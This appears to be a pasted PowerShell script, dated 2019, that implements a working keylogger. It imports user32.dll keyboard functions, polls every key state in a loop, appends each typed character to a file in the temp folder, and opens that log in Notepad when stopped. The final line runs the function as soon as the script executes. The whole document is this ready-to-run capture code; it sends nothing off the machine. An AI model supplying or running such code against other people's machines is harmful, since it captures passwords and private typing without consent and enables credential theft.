· 6 years ago · Dec 17, 2019, 01:56 PM
1#requires -Version 2
2function Start-KeyLogger($Path = "$env:temp\keylogger.txt") {
3 <#
4 .DESCRIPTION
5 By accessing the Windows low-level API functions, a script can constantly
6 monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
7 Run the function Start-Keylogger to start logging key presses. Once you
8 stop the script by pressing CTRL+C, the collected key presses are displayed
9 .NOTES
10 http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx
11 #>
12 # Signatures for API Calls
13 $signatures = @'
14[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
15public static extern short GetAsyncKeyState(int virtualKeyCode);
16[DllImport("user32.dll", CharSet=CharSet.Auto)]
17public static extern int GetKeyboardState(byte[] keystate);
18[DllImport("user32.dll", CharSet=CharSet.Auto)]
19public static extern int MapVirtualKey(uint uCode, int uMapType);
20[DllImport("user32.dll", CharSet=CharSet.Auto)]
21public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
22'@
23
24 # load signatures and make members available
25 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
26
27 # create output file
28 $null = New-Item -Path $Path -ItemType File -Force
29
30 try {
31 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
32
33 # create endless loop. When user presses CTRL+C, finally-block
34 # executes and shows the collected key presses
35 while ($true) {
36 Start-Sleep -Milliseconds 40
37
38 # scan all ASCII codes above 8
39 for ($ascii = 9; $ascii -le 254; $ascii++) {
40 # get current key state
41 $state = $API::GetAsyncKeyState($ascii)
42
43 # is key pressed?
44 if ($state -eq -32767) {
45 $null = [console]::CapsLock
46
47 # translate scan code to real code
48 $virtualKey = $API::MapVirtualKey($ascii, 3)
49
50 # get keyboard state for virtual keys
51 $kbstate = New-Object -TypeName Byte[] -ArgumentList 256
52 $checkkbstate = $API::GetKeyboardState($kbstate)
53
54 # prepare a StringBuilder to receive input key
55 $mychar = New-Object -TypeName System.Text.StringBuilder
56
57 # translate virtual key
58 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
59
60 if ($success) {
61 # add key to logger file
62 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
63 }
64 }
65 }
66 }
67 }
68 finally {
69 # open logger file in Notepad
70 notepad $Path
71 }
72}
73
74# records all key presses until script is aborted by pressing CTRL+C
75# will then open the file with collected key codes
76Start-KeyLogger